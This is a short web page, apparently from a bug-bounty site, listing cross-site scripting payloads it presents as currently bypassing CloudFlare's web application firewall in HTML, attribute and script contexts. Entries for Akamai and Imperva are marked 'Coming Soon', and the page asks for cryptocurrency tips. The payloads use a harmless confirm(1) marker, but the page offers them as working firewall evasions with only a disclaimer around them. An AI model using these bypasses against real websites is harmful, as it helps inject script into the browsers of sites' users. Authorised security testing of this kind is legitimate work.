BugFlex Bounty WAF

Latest Working Techniques

Below are the latest working techniques for web application firewalls (WAFs). Please use this information responsibly and in compliance with applicable laws and regulations.

Chip in a tip to keep this site running:

  • Litecoin: LakLgjQ8tiQ8YuSiDsVBwepqTZQCPJZSYF
  • Bitcoin: 3B1WxdVZ4pqDPD7RsWK48A8eWq3dBnUF3m

CloudFlare

Latest working payloads for all contexts:

HTML Context:
'"><Svg Only=1 OnLoad=confirm(1)>

Quoted Context:
"Only=1 OnFocus='confirm(1)'

Script Context:
";[1].find(confirm)"//
    

Akamai

Latest working payloads for all contexts:

HTML Context:
Coming Soon

Quoted Context:
Coming Soon

Script Context:
Coming Soon
    

Imperva

Latest working payloads for all contexts:

HTML Context:
Coming Soon

Quoted Context:
Coming Soon

Script Context:
Coming Soon
    

Disclaimer: This site is not responsible for the information provided or how it is used. The information is public and intended to improve security by identifying and addressing vulnerabilities.